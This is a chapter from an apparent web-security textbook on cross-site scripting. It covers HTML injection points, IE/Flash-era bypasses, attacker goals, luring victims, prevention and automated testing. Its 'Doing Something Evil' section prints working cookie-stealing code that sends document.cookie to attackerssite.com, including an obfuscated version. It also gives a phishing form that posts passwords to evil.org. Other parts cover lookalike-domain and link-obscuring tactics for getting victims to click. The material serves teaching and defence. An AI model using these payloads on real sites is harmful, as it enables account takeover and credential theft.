Now that you understand the security controls placed in web browsers, let’s try to 
circumvent them with XSS. 

The primary objective of XSS is to circumvent the same origin policy by injecting (or 
placing) JavaScript, VBScript, or other browser-accepted scripting languages of the 
attacker’s choice into some web application. If an attacker can place script anywhere in a 
vulnerable web application, the browser believes that the script came from the vulnerable 
web application rather than the attacker. Thus, the script will run in the domain of the 
vulnerable web application and will be able to do the following:

• Have access to read cookies used in that vulnerable web application

• Be able to see the content of pages served by the vulnerable web application 
and even send them to the attacker

• Change the way the vulnerable web application looks 

• Make calls back to the server who hosts the vulnerable web application

Three steps are used for cross-site scripting:

1. HTML Injection. We provide possible ways to inject script into web applications. 
All the HTML injection examples discussed will simply inject a JavaScript 
pop-up alert box: alert(1).

2. Doing something evil. If alert boxes are not scary enough, we discuss more 
malicious things an attacker can do if a victim clicks a link with  HTML injection.

3. Luring the victim. We discuss how to coerce victims to execute the malicious 
JavaScript.

Step 1: HTML Injection
There are many, many possibly ways to inject HTML and, more importantly, scripts into 
web applications. If you can find an HTTP response in some web application that replies 
with the exact input of some previous HTTP request, including angle brackets, rounded 
brackets, periods, equal signs, and so on, then you have found an HTML injection that 



Chapter 2: Cross-Site Scripting 33

can most likely be used for XSS on that web application and domain. This section attempts 
to document most HTML injection methods, but it is not complete. Nevertheless, these 
techniques will probably work on most small to medium-sized web sites. With some 
perseverance, you may be able to use one of these techniques successfully on a major 
web site, too.

Classic Refl ected and Stored HTML Injection
The classic XSS attack is a reflected HTML injection attack whereby a web application 
accepts user input in an HTTP request. The web application responds with the identical 
user input within the body of the HTTP response. If the server’s response is identical to 
the user’s initial input, then the user input may be interpreted as valid HTML, VBScript, 
or JavaScript by the browser. 

Consider the following PHP server code:

<html>

<body>

<?php

if (isset($_GET{'UserInput'})){

  $out = 'your input was: "' . $_GET{'UserInput'} . '".';

} else {

  $out = '<form method=”GET”>enter some input here: ';

  $out .= '<input name="UserInput" size="50">';

  $out .= '<input type="submit">';

  $out .= '</form>';

}

print $out;

?>

</body>

</html>

Figure 2-1 illustrates how this page appears when this code is placed at http://public-
pages.university.edu/~someuser/LearningPhp.php.

When the user clicks Submit Query, the web application makes the following GET
request to the server:

http://public-pages.university.edu/~someuser/LearningPhp.php?input=blah

The PHP application sees that the user inputted blah and responds with the page 
shown in Figure 2-2.

The HTML source code for Figure 2-2 is shown next, with the user input in 
boldface.

<html>

<body>

your input was: "blah".

</body>

</html>

http://public-pages.university.edu/~someuser/LearningPhp.php
http://public-pages.university.edu/~someuser/LearningPhp.php
http://public-pages.university.edu/~someuser/LearningPhp.php?input=blah
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Figure 2-1 A simple PHP script accepting user input (LearningPhp.php)

Figure 2-2 The response from LearningPhp.php after the user inputs “blah”
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Note that the user can input anything he or she pleases, such as <script>alert(1)
</script>, <body onload=alert(1)>, <img src=x onerror=alert(1)>, or some-
thing else that injects JavaScript into the page. Inputting <script>alert(1)</script>
would generate the following GET request to the server:

http://public-

pages.university.edu/~someuser/LearningPhp.php?input=<script>alert(1)

</script>

As before, the PHP application simply places the user input back into the response. 
This time, the browser thinks the user input is JavaScript instructions, and the browser 
believes that the script came from the server (because technically speaking it did) and 
executes the JavaScript. Figure 2-3 illustrates what the user would see.

The HTML code for the page illustrated in Figure 2-3 is shown next. The user input 
is in boldface.

<html>

<body>

your input was: "<script>alert(1)</script>".

</body>

</html>

Figure 2-3  The result of injecting <script>alert(1)</script> into http://public-pages.university.edu/
~someuser/LearningPhp.php.

http://public-pages.university.edu/~someuser/LearningPhp.php
http://public-pages.university.edu/~someuser/LearningPhp.php
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This example is a reflected HTML injection because the user sent JavaScript in an HTTP 
request and the web application immediately responded (or reflected) the exact same 
JavaScript. To execute this script, any user needs only click the following link:

http://public-

pages.university.edu/~someuser/LearningPhp.php?input=<script>alert(1)

</script>

From an attacker’s perspective, it’s very important that HTML injection involves a 
single-click or many of predictable clicks that can be performed by a malicious web page. 
Suppose the preceding PHP application accepted only POSTs and not GETs, like this 
code:

<html>

<body>

<?php

if (isset($_POST{'UserInput'})){

  $out = 'your input was: "' . $_POST{'UserInput'} . '".';

} else {

  $out = '<form method="POST">enter some input here: ';

  $out .= '<input name="UserInput" size="50">';

  $out .= '<input type="submit">';

  $out .= '</form>';

}

print $out;

?>

</body>

</html>

In this case, the attacker must take additional action to make the HTML injection a 
single-click process. To do so, the attacker creates the following HTML page:

<html>

<body>

<form name="evilForm" method="POST ction="http://public-

pages.university.edu/~someuser/LearningPhp.php">

  <input type="hidden" name="input" value="<script>alert(1)</script>">

</form>

<script>

  document.evilForm.submit()

</script>

</body>

</html>

Clicking a link leading to the HTML above will perform an HTML injection in 
http://public-pages.university.edu/~someuser/LearningPhp.php. Of course, attackers 

http://public-pages.university.edu/~someuser/LearningPhp.php
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will do something malicious with HTML injection, rather than just call a JavaScript 
pop-up. “Step 2: Doing Something Evil” explains what an attacker can do beyond 
showing a pop-up.

A stored HTML injection is much like a reflected HTML injection. The only difference 
is that the attacker places script in the web application where the script is stored to be 
retrieved later. For example, consider a web forum that allows users to post and read 
messages. An attacker could inject HTML when posting a message and execute the script 
when viewing the message that contains the script.

Finding Stored and Refl ected HTML Injections
To find stored and reflected HTML injections, attempt to inject script into every form 
input (visible and hidden) and every parameter in a GET or POST request. Assume that 
every value in the parameter/value pair is potentially vulnerable. Even try to inject 
HTML in new parameters like this: 
<script>alert('parameter')</script>=<script>alert('value')</script>

Or you can add parameters/value pairs found other parts of a the web application 
and inject the script in the value part. The number of potential HTML injection points 
may seem endless on most modern web applications, and usually one or two will work. 
Don’t leave a single parameter value pair, URL, HTTP header, and so on, untouched. Try 
injecting script everywhere! It’s truly amazing where HTML injection works.

Sometimes simple HTML injection test strings like <script>alert(1)</script>
do not work because the test strings do not appear in the HTML body of the response. 
For instance, imagine that a request to http://search.engine.com/search?p=
<script>alert(1)</script> responded with your HTML injection string placed in 
a pre-populated form field, like so:

<form input="text" name="p" value="<script>alert(1)</script>">

Unfortunately, the script tags are treated as a string for the form input field and not 
executed. Instead, try http://search.engine.com/search?p=”><script>alert
(1)</script>. This might respond with the HTML:

<form input="text" name="p" value=""><script>alert(1)</script>">

Note that the script tags are no longer locked within the value parameter and can 
now be executed.

To illustrate the many different places where user input can be injected and how you 
can inject HTML via user input, consider the following HTTP request and response pair 
that places user input into 10 different places within the response. Suppose a user made 
the following request:

http://somewhere.com/s?a1=USER_INPUT1&a2=USER_INPUT2&a3=USER_INPUT3&

a4=USER_INPUT4&a5=USER_INPUT5&a6=USER_INPUT6&a7=USER_INPUT7&

a8=USER_INPUT8&a9=USER_INPUT9&a10=USER_INPUT10
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And suppose the server responded with this:

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: Apache 

Cookie: blah=USERINPUT1; domain=somewhere.com;

Content-Length: 502

<html>

<head><title>Hello USERINPUT2</title>

<style>

a {color:USERINPUT3} </style>

<script>

var a4 = "USERINPUT4";

if (something.equals('USERINPUT5')) { 
  alert('something');
}

</script>

<body>

<a href="http://somewhere.com/USERINPUT6">click me</a>

<a href='USERINPUT7'>click me 2</a>
<img src="http://somewhere.com/USERINPUT8">

<p onclick="window.open('USERINPUT9')">some paragraph</p>
<form> <input type="hidden" name="a" value="b">

<input type="submit" value=USERINPUT10></form>

</body>

</html>

Each user input can potentially be exploited in many ways. We now present a few 
ways to attempt to inject HTML with each user input.

USERINPUT1 is placed in the cookie HTTP header. If an attacker can inject semico-
lons (;) into USERINPUT1, then the attacker can fiddle with the cookie’s security con-
trols and possibly other parts of the cookie. If an attacker can inject new lines (\n, URL 
encoded value %0d) and/or new lines and carriage returns (\r\n, URL encoded value 
%0a%0d), then the attacker can add HTTP headers and add HTML. This attack is known 
as HTTP response splitting. HTTP response splitting can be used for HTML injection by 
injecting strings like this:

%0a%0d%0a%0d<script>alert(1)</script>

The two new lines/carriage returns separate the HTTP header from the HTTP body, 
and the script will be in the HTTP body and executed.
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USERINPUT2 is placed within a title tag. IE does not allow script tags within title 
tags, but if an attacker can inject <script>alert(1)</script>, then more likely 
than not, the attacker can inject this:

</title><script>alert(1)</script>

This breaks out of the title tag.
USERINPUT3 is placed within a styles tag. One could set USERINPUT3 like so in IE:

black; background:url('javascript:alert(1)');

Then he could use this in Firefox:

1:expression(alert(1))

Equivalently, user input sometimes appears in style parameters as part of other tags, 
like this:

<div style="background:url(USERINPUT3A)"></div>

JavaScript can be executed in IE if you could set USERINPUT3A to this:

javascript:alert(1)

Or for Visual Basic fans, this can be used:

vbscript:MsgBox(1)

Firefox does not accept background:url() with javascript: protocol handlers. 
However, Firefox allows JavaScript to be executed in expression’s. In Firefox set 
USERINPUT3A to this:

); 1:expression(alert(1)

USERINPUT4 is trivial to exploit. Simply set USERPINUT4 to this:

";alert(1);

USERINPUT5 is more deeply embedded within the JavaScript. To insert the alert(1)
function that is reliably executed, you must break the alert(1) out of all code blocks 
and ensure that the JavaScript before and after is valid, like this:

')){}alert(1);if(0)

The text before alert(1) completes the original if statement, thus ensuring that the 
alert(1) function is executed all the time. The text following alert(1) creates an if 
statement for the remaining code block so the whole code block between script tags is 
valid JavaScript. If this is not done, then the JavaScript will not be interpreted because of 
a syntax error.
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You can inject JavaScript into USERINPUT6 using a plethora of tricks. For example, 
you can use this:

"><script>alert(1)</script>

Or, if angle brackets are disallowed, use a JavaScript event handler like onclick as 
follows:

" onclick="alert(1)

USERINPUT7 also has many options like this:

'><script>alert(1)</script>

Or this:

' style='x:expression(alert(1))

Or simply this:

javascript:alert(1)

The first two suggestions for USERINPUT7 ensure that the script will be executed 
upon loading the page, while the last suggestion requires that the user click the link. It’s 
good practice to try them all just in case some characters and strings are disallowed.

USERINPUT8 is also open to similar HTML injection strings. Here’s a favorite that 
uses an event handler:

notThere' onerror='alert(1)

Preventing XSS is typically accomplished by escaping or encoding potentially
malicious characters. For instance, if a user inputs <script>alert(1)</script> into a 
text field, the server may respond with the following escaped string: 

&lt;script&gt;alert(1)&lt;/script&gt;

Depending on where the escaped string is located, the string would appear as though 
it were the original and will not be executed. Escaping is much more complex and is 
thoroughly discussed in the countermeasure, “Preventing Cross-Site Scripting,” later in 
this chapter. Most escaping routines either forget to escape potentially malicious charac-
ters and strings, or they escape with the wrong encoding. For example, USERINPUT9 is 
interesting because on* event handlers interpret HTML entity encodings as ASCII, so 
one could mount the same attacks with the following two strings:

x');alert(1);

and

x&#39;&#41;;alert&#40;1&#41;
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Finally, USERINPUT10 can be exploited with event handlers and breaking out of the 
input tag. Here’s an example:

x onclick=alert(1)

This example shows that user-supplied strings can be placed anywhere in HTTP 
responses. The list of possibilities is seemingly endless. 

If you can perform HTML injection on any of the preceding instances, then the HTML 
injection can be used for XSS anywhere on that domain. You can inject JavaScript into web 
applications in many different ways. If your attempts ever result in corrupting the format of 
the page, such as truncating the page or displaying script other than what you injected, you 
have probably found an XSS that needs a little more polishing before it will work. 

Refl ected HTML Injection in Redirectors
Another great place for HTML injection is in redirectors. Some redirectors allow the user 
to redirect to any URL. Unfortunately, javascript:alert(1) is a valid URL. Many 
redirectors parse the URL to determine whether it is safe to redirect to. These parsers and 
their programmers are not always the smartest, so URLs like this

javascript://www.anywhere.com/%0dalert(1)

and this

javascript://http://www.trustedsite.com/trustedDirectory/%0dalert(1) 

may be accepted. In these examples, any string can be placed between the double slash 
JavaScript comment (//) and the URL encoded new line (%0d).

HTML Injection in Mobile Applications
Some popular web applications have mobile counterparts. These mobile applications 
generally have the same functionality, have less security features, and are still accessible 
from browsers such as IE and Firefox. Thus, they are perfect for finding HTML injection 
attacks and cross-site request forgery (discussed in Chapter 4). 

Mobile applications are usually hosted on the same domain as the main web 
application; thus any HTML injection in the mobile application will have access to the 
entire domain, including the main web application or other web applications hosted on 
that domain.

HTML Injection in AJAX Responses and Error Messages
Not all HTTP responses are intended to be displayed to the user. These pages, like 
Asynchronous JavaScript and XML (AJAX) responses and HTTP error messages, are 
often neglected by developers. Developers may not consider protecting AJAX responses 
against HTML injections because their requests were not supposed to be used directly 
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by the users. However, an attacker can mimic both AJAX GET and POST requests with 
code snippets noted previously.

Similarly, HTTP error responses such as HTTP 404 (Not Found), HTTP 502 (Server 
Error), and the like are often neglected by developers. Developers tend to assume every-
thing is HTTP 200 (OK). It is worth attempting to trigger other responses than simply 
HTTP 200s and try injecting scripts. 

HTML Injection Using UTF-7 Encodings
If a user has Auto-Select encoding set (by choosing View | Encoding | Auto-Select) in IE, 
an attacker can circumvent most HTML injection preventions. As mentioned earlier, 
HTML injection prevention generally relies upon escaping potentially harmful charac-
ters. However, UTF-7 encoding uses common characters that are not normally escaped, 
or depending on the web application, may not be possible to escape. The UTF-7 escaped 
version of <script>alert(1)</script> is this: 

+ADw-script+AD4-alert(1)+ADw-/script+AD4-

Note that this is an uncommon attack because users generally do not have Auto-
Select encoding turned on. There exists other UTF encoding attacks that leverage the 
variable length of character encodings, but this requires extensive knowledge of UTF 
and is out of scope for this book. However, this issue introduces how neglecting other 
encodings like MIME types  can lead to HTML injection.

HTML Injection Using MIME Type Mismatch
IE has many surprising and undocumented behaviors. For example, if IE 7 and earlier 
tries to load an image or other non-HTML responses and fails to do so, it treats the 
response as HTML. To see this, create a text file containing this:

<script>alert(1)</script>

Then save it as alert.jpg. Loading this “image” in IE from the URL address bar or an 
iframe will result in the JavaScript being executed. Note that this does not work if the file 
is loaded from an image tag.

Generally, if you attempt to upload such a file to an image hosting service, it will 
reject the file because it is not an image. Image hosting services usually disregard the file 
extension and look only at the magic number (the first few bytes) of the file to determine 
the file type. Thus, an attacker can get around this by creating a GIF image with HTML 
in the GIF comment and save the GIF with the .jpg file extension. A single-pixel GIF is 
shown here:

00000000  47 49 46 38 39 61 01 00  01 00 80 00 00 ff ff ff  |GIF89a..........|

00000010  ff ff ff 21 fe 19 3c 73  63 72 69 70 74 3e 61 6c  |...!..<script>al|

00000020  65 72 74 28 31 29 3c 2f  73 63 72 69 70 74 3e 00  |ert(1)</script>.|

00000030  2c 00 00 00 00 01 00 01  00 00 02 02 44 01 00 3b  |,...........D..;|
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Naming this file test.jpg and loading it in IE will result in executing the JavaScript. 
This is also a great way to attempt to inject Flash cross-domain policies. Simply place the 
Flash security policy XML content in the GIF comment and ensure that the GIF file does 
not contain extended ASCII characters or NULL bytes. 

You can also inject HTML in the image data section, rather than the comment, of 
uncompressed image files such as XPM and BMP files.

Using Flash for HTML Injection
In most HTML injection scenarios, an attacker can inject arbitrary HTML. For instance, 
the attack could inject an object and/or embed a tag that would load a Flash application 
in that domain. Here’s an example:

<object width="1" height="1">

 <param name="allowScriptAccess" value="always">

 <param name="allownetworking" value="all">

 <param name="movie" value="http://evil.com/evil.swf">

 <embed allownetworking="all" allowScriptAccess="always"

  src="http://evil.com/evil.swf" width="1" height="1">

 </embed>

</object>

This HTML is a little cumbersome, but it will give a Flash application the same control 
that a JavaScript application has, such as read cookies (via the ExternalInterface
class), change the way the web page looks (via the ExternalInterface class), read 
private user data (via the XML class), and make HTTP requests on the victim’s behalf (via 
the XML class). 

However, Flash applications sometimes provide more functionality. For example, 
Flash applications can create raw socket connections (via the Socket class). This allows 
the attacker to craft his or her own complete HTTP packets (including cookies stolen via 
the ExternalInterface class) or connect to other ports on allowed computers. Note 
that the Socket connection can make connections only to the domain from which the 
evil script originated, unless the attacker also reflected an insecure cross-domain policy 
file to complete this attack.

Some developers protect AJAX responses from HTML injection by setting the MIME 
type of the response to text/plain or anything other than text/html. HTML injection 
will not work because the browser will not interpret the response as HTML. However, 
Flash does not care what MIME type the cross-domain policy file is. So the attacker could 
potentially use the AJAX response to reflect an insecure cross-domain policy file. This 
allows an evil Flash application to make requests to the vulnerable web application on 
behalf of the victim, read arbitrary pages on that domain, and create socket connections 
to that domain. This style of attack is slightly weaker because the evil Flash application 
cannot steal cookies (but it can still perform any action on behalf of the user), and it 
cannot mimic the application to the victimized user (unless the evil Flash application 
redirects the user to a domain controlled by the attacker). 
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However, by far the greatest evil thing that can be done with HTML injection is 
mimicking the victimized user to the web application. This can still be done by reflecting 
an insecure cross-domain policy file and using ActionScript’s XML class to make HTTP 
GET and POST requests and read the responses. In the next section, we describe how evil 
an attack can be.

 Step 2: Doing Something Evil
XSS is an attack on a user of web application that allows the attacker full control of the 
web application as that user, even if the web application is behind a firewall and 
the attacker can’t reach it directly. XSS generally does not result in compromising the 
user’s machine or the web application server directly. If successful, the attacker can do 
three things:

• Steal cookies

• Mimic the web application to the victimized user

• Mimic the victimized user to the web application

Stealing Cookies
Cookies generally carry access controls to web applications. If an attacker stole a victim 
user’s cookies, the attacker could use the victim’s cookies to gain complete control of the 
victim’s account. It is best practice for cookies to expire over a certain amount of time. So 
the attacker will have access to victim’s account only for that limited time. Cookies can 
be stolen with the following code:

var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='
+document.cookie;

or

document.write("<img src='http://attackerssite.com/eatMoreCookies"+
"?c="+document.cookie+"'>");

If certain characters are disallowed, convert these strings to their ASCII decimal value 
and use JavaScript’s String.charFromCode() function. The following JavaScript is 
equivalent to the preceding JavaScript:

eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,

97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,

97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,

101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,

100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));
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Phishing Attacks
An attacker can use an XSS for social engineering by mimicking the web application to 
the user. Upon a successful XSS, the attacker has complete control as to how the web 
application looks. This can be used for web defacement, where an attacker puts up a silly 
picture, for example. One of the common images suitable for print is Stall0wn3d.

The HTML injection string for this attack could simply be this:

 <script>document.body.innerHTML="<img 

src=http://evil.org/stallown3d.jpg>";</script>.

However, having control of the way a web application appears to a victimized user 
can be much more beneficial to an attacker than simply displaying some hot picture 
of Sylvester Stallone. An attacker could perform a phishing attack that coerces the user 
into giving the attacker confidential information. Using document.body.innerHTML,
an attacker could present a login page that looks identical to the vulnerable web 
application’s login page and that originates from the domain that has the HTML injec-
tion, but upon submission of the form, the data is sent to a site of the attacker’s choosing. 
Thus, when the victimized user enters his or her username and password, the informa-
tion is sent to the attacker. The code could be something like this:

document.body.innerHTML="<h1>Company Login</h1><form 

action=http://evil.org/grabPasswords method=get>

<p>User name:<input type=text name=u><p>Password<input type=password 

name=p><input type=submit name=login></form>";

One simple trick with this code is that the form is sent over a GET request. Thus, the 
attacker does not even have to code the grabPasswords page because the requests will 
be written to the web server’s error log where it can be easily read.

Acting as the Victim
The greatest impact XSS has on web applications is that it allows the attacker to mimic 
the user of the web application. Following are a few examples of what attackers can do 
depending on the web application.

• In a webmail application, an attacker can

• send e-mails on the user’s behalf

• acquire the user’s list of contacts

• change automatic BCC properties (for example, the attacker can be 
automatically BCCed to all new outgoing e-mails.)

• change privacy/logging settings
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• In a web-based instant messaging or chat application, an attacker can

• acquire a list of contacts

• send messages to contacts

• add/remove contacts

• In a web-based banking or fi nancial system, an attacker can

• transfer funds

• apply for credit cards

• change addresses

• purchase checks

• In an e-commerce site, an attacker can

• purchase products

Whenever you are analyzing the impact of XSS on a site, imagine what an attacker 
can do if he or she were able to take control of the victim’s mouse and keyboard. Think 
about what actions could be malicious from the victim’s computer within the victim’s 
intranet.

To mimic the user, the attacker needs to figure out how the web application works. 
Sometimes, you can do so by reading the page source, but the best method is to use a 
web proxy like Burp Suite, WebScarab, or Paros Proxy. These web proxies intercept all 
traffic to and from the web browser and web server—even over HTTPS. You can record 
sessions to identify how the web application communicates back to the server. This helps 
you understand how to mimic the application. Also, web proxies are great for finding 
XSS and other web application vulnerabilities.

XSS Worms
Networking web applications, such as webmail, social networks, chatrooms, online 
multi-player games, online casinos, or anything that requires user interaction and sends 
some form of information from one user to another, are prone to XSS worms. An XSS 
worm takes advantage of existing features in the web application to spread itself. For 
example, XSS worms in webmail applications take advantage of the fact that an attacker 
can grab the victim’s contact list and send e-mails. The XSS would activate when a victim 
clicks a link leading to the HTML injection, thus triggering the script to execute. The 
script would search the victim’s contact list and send e-mails to each contact on the vic-
tim’s list. Each contact would receive an e-mail from a reputable source (the victim), 
asking the contact to click some link. Once the person clicked the link, the contact be-
comes the victim, and the process repeats with his or her contacts list.

XSS worms grow at extremely fast speeds, infecting many users in a short period 
of time and causing large amounts of network traffic. XSS worms are effective for 
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transporting other attacks, such as phishing attacks, as well. Interestingly, attackers 
sometimes add hidden HTML content to the web application that runs a plethora of 
browser attacks. If the user is not running an up-to-date web browser, the attacker can 
take complete control of the user’s machine. In this instance, XSS is used to transport 
some other vulnerability.

Step 3: Luring the Victim
At this point, you know how to find an HTML injection and know the evil things an at-
tacker can do if he can get a user to click an link leading to an HTML injection. Sometimes 
the HTML injection will activate during typical user interaction. Those are the most 
effective methods. However, usually the attacker must get an user to click the HTML 
injection link to activate the attack. This section briefly discusses how to motivate a 
victim to click a link.

For a moment, pretend that you are the attacker. Say that you found an HTML injec-
tion at http://search.engine.com/search?p=<script>alert(1)</script>, and you devised 
an evil script at http://evil.org/e.js. Now all you have to do is get people to click 
this link:

http://search.engine.com/search?p=<script src=http://evil.org/e.js></script>

It’s truly amazing how many people will actually click the link above, but more 
computer-savvy users will quickly identify that clicking the link above will lead to 
something bad. Thus, the attacker obscures the link and motivates the user to click 
something more enticing.

Obscuring HTML Injection Links
Various methods can be used to obscure links via anchor tags, URL shortening sites, 
blogs, and web sites under the attacker’s control.

The first suggestion is quite simple. Most web applications automatically wrap 
anchor tags around URLs to make it easier for the user to follow links. If the attacker can 
write his or her own hyperlinks, such as in a webmail application, the attacker could 
craft a link like this:

<a href="http://search.engine.com/search?p=<script>alert(1)</script>">

http://goodsite.com/cuteKittens.jpg</a>

This link will appear as http://goodsite.com/cuteKittens.jpg. However, when the 
victim clicks this link, it will send him or her to the HTML injection.

URL shortening web applications such as TinyURL, YATUC, ipulink.com, get-shorty.
com (and all sites implementing get-shorty), and so on, turn long URLs into very short 
URLs. They do so by mapping any URL to a short URL that redirects to the long URL. 

http://evil.org/e.js
http://goodsite.com/cuteKittens.jpg
http://search.engine.com/search?p=<script>alert(1)</script>
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The short URL hides the long URL, making it easier to convince even computer-savvy 
people to click the link. For example, you can map an obvious HTML injection like this

http://search.engine.com/search?p=<script>alert(1)</script>

to a discrete URL, like this

http://tinyurl.com/2optv9

Very computer-savvy users now worry about URL shortening sites like TinyURL. So 
you can convince the more computer savvy users to click using other, less-popular URL 
shortening web applications, or you can create your own web page with the following 
code:

<script>

document.location = 

"http://search.engine.com/search?p=<script>alert(1)</scr"+"ipt>";

</script>

Note that the </script> tag in the document.location string is purposely broken 
because some browsers interpret JavaScript strings as an HTML before executing the 
JavaScript. For POST HTML injections, you can write code like this:

<html>

<body>

<!-- something distracting like a cute kitten --> 

<img src=cuteKitten.jpg> 

<!-- and some HTML injection --> 

<form action="http://search.engine.com/search" method="POST" 

name="evilForm">

  <input type="hidden" name="p" value="<script>alert(1)</script>">

</form>

<script>

document.evilForm.submit()

</script>

</body>

</html>

Now place the code on your own web site or blog. If you don’t already have one, 
many free web site and blog hosting sites are available to use.

Our personal favorite obscuring technique is to abuse IE’s MIME type mismatch 
issue. For example, create a text file called cuteKitten.jpg containing the following:

<iframe style="display:none" 

src="http://search.engine.com/search?p=<script>alert(1)"></iframe>

<img src="someCuteKitten.jpg">
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Place cuteKitten.jpg online, say at http://somwhere.com/cuteKitten.jpg. When a 
user clicks the link, IE will recognize that cuteKitten.jpg is not an image and then inter-
pret it as HTML. This results in displaying the someCuteKitten.jpg image while exploit-
ing an HTML injection in the background.

Finally, an attacker could simply register a reputable sounding domain name and 
host the HTML injection on that domain. As of writing this book, various seemingly 
reputable domain names are available such as “googlesecured.com,” “gfacebook.net,” 
“bankofaamerica.net,” and “safe-wamu.com.” 

Motivating User to Click HTML Injections
The days of motivating people with “Free Porn” and “Cheap Viagra” are over. Instead, 
attackers motivate the user to do something that the general population does, such 
as clicking a news link or looking at an image of a cute kitten, as discussed in the 
preceding section. 

For example, suppose it is tax season. Most tax payers are looking for an easy tax 
break. Attackers consider using something like this to entice a user click: “Check out this 
article on how to reclaim your sales tax for the year: http://tinyurl.com/2ek7eat.” Using 
this in an XSS worm may motivate people to click if they see that this e-mail has come 
from a “friend.”

However, the more text an attacker includes, the more suspicious a potential victim 
will likely become. The most effective messages nowadays simply send potential victims 
a link with no text at all. Their curiosity motivates them to click the link.

Preventing Cross-Site Scripting
To prevent XSS, developers must be very careful of user-supplied data that is served 
back to users. We define user-supplied data as any data that comes from an outside network 
connection to some web application. It could be a username submitted in an HTML form 
at login, a backend AJAX request that was supposed to come from the JavaScript code 
the developer programmed, an e-mail, or even HTTP headers. Treat all data entering a 
web application from an outside network connection as potentially harmful.

For all user-supplied data that is later redisplayed back to users in all HTTP responses 
such as web pages and AJAX responses (HTTP response code 200), page not found errors 
(HTTP response code 404), server errors (like HTTP response code 502), redirects (like 
HTTP response code 302), and so on, the developer must do one of the following:

• Escape the data properly so it is not interpreted as HTML (to browsers) or XML 
(to Flash).

• Remove characters or strings that can be used maliciously.

Removing characters generally affects user experience. For instance, if the developer 
removed apostrophes (’), some people with the last name O’Reilly, or the like, would be 
frustrated that their last name is not displayed properly. 

We highly discourage developers to remove strings, because strings can be repre-
sented in many ways. The strings are also interpreted differently by applications and 

http://somwhere.com/cuteKitten.jpg
http://tinyurl.com/2ek7eat
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browsers. For example, the SAMY worm took advantage of the fact that IE does not con-
sider new lines as word delimiters. Thus, IE interprets javascript and jav%0dascr%0dipt
as the same. Unfortunately, MySpace interpreted new lines as delimiting words and al-
lowed the following to be placed on Samy’s (and others’) MySpace pages:

<div id="mycode" expr="alert('1')" style="background:url('java 

script:eval(document.all.mycode.expr)')"></div>

We recommend escaping all user-supplied data that is sent back to a web browser with-
in AJAX calls, mobile applications, web pages, redirects, and so on. However, escaping 
strings is not simple; you must escape with URL encoding, HTML entity encoding, or JavaS-
cript encoding depending on where the user-supplied data is placed in the HTTP responses.

Preventing UTF-7 Based XSS
UTF-7 based attacks can be easily stopped by forcing character encodings in the HTTP 
header or within the HTML response. We recommend setting the default HTTP header 
like this:

Content-Type: text/html; charset=utf-8

You should also add the following to all HTML responses:

<meta http-equiv="Content-Type" content="text/html;charset=utf-8">

TESTING FOR CROSS-SITE SCRIPTING
Now that you understand the basics of XSS, it is important to test your web applications to 
verify their security. You can use a variety of methods to test for XSS in web applications. 
The following section describes an automated method to testing for XSS using iSEC’s 
SecurityQA Toolbar. The SecurityQA Toolbar is a security testing tool for web application 
security. It is often used by developers and QA testers to determine an application’s security 
both for specific sections of an application as well as for the entire application itself. 

Automated Testing with iSEC’s SecurityQA Toolbar
The process to test for XSS in web applications can be cumbersome and complex across 
a big web application with many forms. To ensure that XSS gets the proper security 
attention, iSEC Partners’ SecurityQA Toolbar provides a feature to test input fields on a 
per-page basis rather than scanning the entire web application. While per-page testing 
may take a bit longer, it can produce strong results since the testing focus is on each page 
individually and in real time. 

The SecurityQA Toolbar also can testing for XSS in AJAX applications. Refer to Chapter 4 for more 
information.
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To test for XSS security issues, complete the following steps.

 1. Visit www.isecpartners.com and request an evaluation copy of the product.

 2. After installing the toolbar on Internet Explorer 6 or 7, visit the web application 
using IE.

 3. Within the web application, visit the page you want to test. Then choose Session 
Management | Cross Site Scripting from the SecurityQA Toolbar, as shown in 
Figure 2-4.

 4. The SecurityQA Toolbar will automatically check for XSS issues on the current 
page. If you want to see the progress of the testing in real time, click the expand 
button, which is the last button on the right, before selecting the Cross Site 
Scripting option. The expand button will show which forms are vulnerable to 
XSS in real time.

 5. After the testing is completed on the current page, as noted in the progress bar 
in the lower left side of the browser, browse to the next page of the application 
(or any other page you want to test) and repeat step 3. 

 6. Once you have fi nished testing all of the pages on the web application, view 
the report by selecting Reports | Current Test Results. The SecurityQA Toolbar 
will then display all security issues found from the testing. See Figure 2-5 for an 
example XSS report. Notice the iSEC Test Value section that shows the specifi c 
request and the specifi c response in boldface, which shows was string trigged 
the XSS fl aw.

Figure 2-4  SecurityQA Toolbar

www.isecpartners.com
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SUMMARY
A couple of security controls can be found in web browsers—namely, the same origin 
policy and the cookie security model. In addition, browser plug-ins, such as Flash Player, 
Outlook Express, and Acrobat Reader, introduce more security issues and security 
controls. However, these additional security controls tend to reduce to the strength of the 
same origin policy if an attacker can force a user to execute JavaScript originating from a 
particular domain.

Figure 2-5  Cross Site Scripting testing results from SecurityQA Toolbar
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Cross-site scripting (XSS) is a technique that forces users to execute script (JavaScript, 
VBScript, ActionScript, and so on) of the attacker’s choosing on a particular domain and 
on behalf of a victim. XSS requires a web application on a particular domain to serve 
characters under the attacker’s control. Thus, the attacker can inject script into pages that 
execute in the context of the vulnerable domain. Once the attacker develops something 
malicious for the victim to run, the attacker must lure the victim to click a link. Clicking 
the link will activate the attack.

REFERENCES AND FURTHER READING
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Flash security www.adobe.com/devnet/fl ashplayer/articles/
fl ash_player_8_security.pdf
http://livedocs.adobe.com/labs/as3preview/
langref/fl ash/net/Socket.html
www.adobe.com/support/fl ash/action_scripts/
actionscript_dictionary/actionscript_dictionary827
.html
http://livedocs.adobe.com/fl ash/8/main/
wwhelp/wwhimpl/common/html/wwhelp
.htm?context=LiveDocs_Parts&fi le=00002200.html
www.hardened-php.net/library/poking_new_holes_
with_fl ash_crossdomain_policy_fi les.html

Stefan Esser’s “Poking 
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Crossdomain Policy Files”
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CASE STUDY: BACKGROUND
Before we discuss the Samy worm, we provide a brief introduction to MySpace and the 
hacker mentality. 

MySpace (www.myspace.com) is arguably the most famous social networking site 
on the Internet, with more than 150 million users. MySpace users can navigate through 
other user’s customized web pages. Customization ranges from standard areas describing 
the user’s interests: favorite music, their hero, their education, and so on. MySpace also 
offers substantial cosmetic customization, such as allowing users to add their own 
